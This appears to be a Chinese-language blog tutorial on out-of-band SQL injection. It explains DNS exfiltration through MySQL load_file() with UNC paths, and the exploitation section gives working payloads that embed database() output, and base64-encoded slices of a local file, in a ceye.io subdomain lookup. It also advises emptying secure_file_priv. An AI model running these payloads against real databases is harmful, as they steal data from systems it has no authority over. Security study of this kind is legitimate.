OOB注入

  • OUT OF BAND(带外通道技术)
  • 让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞
  • 可以看作一种速度具有优势的盲注,因为实现了变相回显

条件

  1. 系统存在漏洞,允许我们构建恶意请求
  2. 外围防火墙的出站策略:攻击目标需要向指定的另外一个目标发送特殊请求,因此要求防火墙对特殊请求能够放行

对比

攻击类别SQL注入类型说明
INBAND报错型、联合查询根据应用的返回或者报错提取数据
INFERENCE布尔型、时间盲注通过应用的非直接数据反馈判断
OUT OF BANDOOB注入通过其他信道获得数据

在这里插入图片描述
在这里插入图片描述

预备知识

DNS

  • DNS使用TCP和UDP端口53
  • 当前每一级域名长度限制为63个字符,域名总长度不能超过253个字符
  • DNS协议在互联网上的传输都是明文的

DNS迭代查询原理

  1. 在阿里云或GoDaddy等域名服务商购买一个可以配置的域名test.com
  2. 通过代理商设置域名test.com的nameserver为自己拥有的服务器(S)的IP
  3. 在S上搭建DNS Server
  4. 此时test.com及其所有子域名的查询都会推送到S上,S可以实时监控
    在这里插入图片描述
    在这里插入图片描述

泛域名解析

  • 利用通配符的方式将所有次级域名指向同一IP。
    在这里插入图片描述

UNC路径(Universal Naming Convention)

  • 通用命名规则,Windows主机默认存在,Linux主机默认不存在
  • 格式:\\servername\sharename,servername为服务器名,sharename为共享资源名。
  • 平时使用打印机、网络共享文件夹时,都会用到UNC填写地址,且在使用UNC路径时,会对域名进行DNS查询

tcpdump

  • 基于unix系统的命令行的数据报嗅探工具,抓取流动在网卡上的数据包
  • 原理:linux抓包是通过注册一种虚拟的底层网络协议,该伪协议可以对收到的报文进行一次处理,此时可进行窥探

load_file()

  • MySQL常用函数,用于读取文件内容,并将文件内容作为字符串返回,如果读取失败会返回NULL
  • 该函数除了读取本机文件,还能通过UNC路径读取远程机器上的文件
    select load_file("/test.txt");  # 读取test.txt的内容
    
  • 该函数需要遵循secure_file_priv限制,如果读取失败可能需要修改该策略
    show global variables like "%secure_file_priv%";  # 查询该策略的值,得到限制读取的目录路径
    
    • /etc/my.conf(my.ini)中的secure_file_priv值置为空:在[mysqld]后添加一条secure_file_priv=
    • 重新启动MySQL

环境搭建

  • ceye平台:可以监控DNS请求,并且配置了泛域名解析

漏洞利用

select load_file(concat('\\\\',(select database()),'.7c9ne7.ceye.io\\abc'));

扩展-大文本传输

  • 域名由标签组成,以.分隔,标签的长度不可以超过63个字符。整个域名不可以超过253个字符,包括.
  • 当想要注入获取的数据过大时,可以利用substr()对文件内容切片,再将内容进行base64编码后拼接,最后利用load_file()访问该UNC路径
    select
    concat(to_base64(substr(load_file("C:\\test.txt"),1,15)),".example.com") as result;
    
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值